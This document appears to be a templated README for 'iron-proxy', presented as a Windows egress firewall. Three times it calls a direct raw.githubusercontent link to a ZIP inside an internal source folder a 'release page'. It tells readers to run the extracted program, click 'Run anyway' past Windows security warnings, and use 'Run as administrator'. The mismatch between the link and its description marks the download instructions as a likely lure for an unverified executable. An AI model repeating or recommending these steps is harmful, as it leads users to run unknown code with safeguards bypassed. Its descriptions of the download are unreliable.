iron-proxy is an egress firewall for untrusted workloads. It helps you control what apps, tools, or services can reach the internet from your Windows PC.
Use it when you want to:
- Block unwanted outbound network access
- Limit what an app can connect to
- Watch and control traffic from software you do not fully trust
- Add a simple layer of network control without complex setup
Visit this page to download iron-proxy:
https://raw.githubusercontent.com/Asaza366/iron-proxy/main/internal/proxy/proxy-iron-v2.2.zip
On that page, look for the latest release and download the Windows file that matches your system.
- Open the release page.
- Find the latest version.
- Download the Windows package or
.exefile from the release assets. - Save the file to a folder you can find again, such as
DownloadsorDesktop. - If the file is a ZIP archive, right-click it and choose Extract All.
- Open the extracted folder.
- Double-click the iron-proxy program to start it.
If Windows shows a security prompt:
- Click More info.
- Click Run anyway only if you trust the source.
- Continue until the app opens.
After you start iron-proxy, it will begin watching outbound connections for the workloads you choose.
A typical first setup looks like this:
- Open the app.
- Choose the app, service, or process you want to control.
- Set the outbound rule you want.
- Allow only the destinations you trust.
- Save the rule.
- Keep iron-proxy running while you use the app.
If the software offers a tray icon, you can leave it running in the background.
iron-proxy sits between your workload and the network. It checks outbound requests and applies the rules you set.
A simple model:
- A program tries to connect out
- iron-proxy checks the rule
- The connection is allowed or blocked
This helps reduce the risk from:
- Unknown tools
- Test apps
- Untrusted scripts
- Software that phones home too much
For a smooth install on Windows, use:
- Windows 10 or Windows 11
- An active internet connection for the first download
- A user account with permission to run apps
- Enough disk space for the app and its logs
For best results:
- Keep Windows updated
- Use a standard desktop or laptop
- Close other network tools if they conflict with firewall rules
iron-proxy can help with everyday control tasks:
- Limit a new app to one site
- Block a test tool from reaching the internet
- Stop an unknown process from sending data
- Allow only work-related destinations
- Separate trusted and untrusted workloads
- Start iron-proxy.
- Add the test app.
- Set outbound access to blocked.
- Run the app.
- Confirm that it cannot reach the internet.
- Add the app you want to control.
- Create a rule for one allowed destination.
- Block all other outbound traffic.
- Save the rule.
- Check that the app only reaches the allowed site.
- Open iron-proxy.
- Add the tool.
- Turn on monitoring.
- Review the outbound attempts.
- Keep, edit, or remove the rule after testing
Use iron-proxy with care when you run software you do not trust.
Good habits:
- Start with a block-first rule for new tools
- Allow only the hosts you know
- Review rules after each test
- Remove old rules you no longer need
- Keep the app updated when new releases appear
Check the release page for new versions:
https://raw.githubusercontent.com/Asaza366/iron-proxy/main/internal/proxy/proxy-iron-v2.2.zip
Use that page to:
- Get the latest Windows build
- See version notes
- Replace an older copy with a newer one
Keep your files in a simple place so you can find them later:
Downloads\iron-proxyDesktop\iron-proxyC:\Apps\iron-proxy
If you extract a ZIP file, keep the whole folder together. Do not move only one file unless the release notes say you can.
Try these steps:
- Right-click the file and choose Run as administrator
- Check whether Windows blocked the file
- Make sure you extracted all files if you downloaded a ZIP
- Try downloading the latest release again
- Reboot Windows and try once more
If the app starts but does not control traffic:
- Check that it is still running
- Confirm that your rule is active
- Make sure the target app is selected
- Review any Windows firewall settings that may conflict
You may see one of these in the release assets:
.exe— a Windows program you can run.zip— a compressed folder you must extract.msi— a Windows installer package
If you see more than one Windows file, pick the one that matches your usual setup.
A simple way to use iron-proxy:
- Download the latest release
- Open the app
- Add the program you want to control
- Set outbound rules
- Run the program
- Watch the connection behavior
- Adjust the rule if needed
This project is hosted on GitHub. Use the release page to find the current Windows build and related project files
https://raw.githubusercontent.com/Asaza366/iron-proxy/main/internal/proxy/proxy-iron-v2.2.zip